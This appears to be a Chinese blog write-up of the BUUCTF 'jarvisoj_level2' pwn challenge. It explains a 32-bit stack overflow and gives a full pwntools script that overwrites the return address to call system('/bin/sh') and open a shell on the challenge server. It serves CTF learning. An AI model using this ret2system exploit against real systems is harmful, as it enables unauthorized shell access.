要么改变世界,要么适应世界

BUUCTF-jarvisoj_level2题解

2022-08-29 23:13:22
307
目录

考点:栈溢出漏洞。

本文需要你了解栈溢出漏洞相关知识,如果尚未了解,可移步至【ctf-wiki】学习

下载文件以后,查看文件信息:

$ file level2
level2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a70b92e1fe190db1189ccad3b6ecd7bb7b4dd9c0, not stripped

查看保护信息:

$ checksec --file=level2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH   Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70 Symbols     No    0               1               level2 

没有发现canary,说明我们有机会溢出,为什么说有机会呢?万一我们都无法利用puts函数呢,又或者输入长度被限制了呢?

NX也开启了,那程序就无法将栈上的数据作为指令来运行。

继续运行看看:

$ ./level2
Input:
yalexin
Hello World!
$ ./level2
Input:
111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
zsh: segmentation fault  ./level2

看来可能是溢出了。

继续使用IDA32反编译看看,main函数如下:

int __cdecl main(int argc, const char **argv, const char **envp){
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

跟进去第一个函数:

ssize_t vulnerable_function(){
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

我们可以看到,buf的长度是0x88h,我们能够输入的长度是0x100,满足溢出条件!

继续观察,看看有没有可以利用的函数:

image-20220829233139496

我们花了2.12s发现了一个调用了system函数的函数,那么我们直接通过溢出,设置返回地址到该地址,然后传递/bin/sh作为参数,获取shell即可。

继续看看有没有可以利用的字符串:

image-20220829233607425

继续花了3.02s发现了/bin/sh的地址。

因此我们可以构造这样子的payload,使得执行完read()函数后,程序直接跳转到_system()函数,进而执行system函数。

本程序是32程序,gcc编译的32位程序,遵循这样的函数调用准则:

  1. 调用方将实参保存到栈中
  2. 被调方使用栈顶偏移量的方式访问保存到栈中的变量
  3. 程序刚刚进入函数时候,也就是将要执行该函数的第一条指令时,栈顶保存的是执行完该被调函数后的返回地址,栈顶的下面(我们规定上面是低地址,下面是高地址)依次保存着该调用函数用到的形参,注意分别对应着从右到左的参数

那么本题的payload就应该长这样子:

payload = padding * b'a' + p32(0xffffe000) + p32(system_func_addr) + p32(0xffffe000) + p32(bin_sh_str_addr)

padding * b'a'理论上可以随意跟上一个地址,该地址将来成为函数调用返回后的栈底地址,这里我设置了一个通过在gdb环境下看到的栈开始的地址。

完整payload如下:

from pwn import *

context(log_level = 'debug', os = 'linux', arch = 'amd64')
debug = True
hacker = None 
if debug:
    hacker = process('./level2')
else:
    hacker = remote('node4.buuoj.cn', 27312)

padding = 0x88
system_func_addr = 0x8048320
bin_sh_str_addr = 0x0804a024
#  首先先将该字符串数组填满,再输入一个地址,该地址将会作为新的栈底地址 ebp
# 再接着写入 函数调用返回的地址(即该值将来会pop 到 eip 中),即执行我们的system函数,为了把 字符串 /bin/sh 地址传入,我们还要往栈中随意插入一个将来的返回地址,再插入/bin/sh 地址
payload = padding * b'a' + p32(0xffffe000) + p32(system_func_addr) + p32(0xffffe000) + p32(bin_sh_str_addr)

hacker.sendlineafter(b'Input:\n', payload)
hacker.interactive()

本题难度应该不大,可是为什么在BUUCTF中,为什么通过该题的人数竟然比一些我认为比较难的题目的还少??

image-20220830000538728

历史评论
开始评论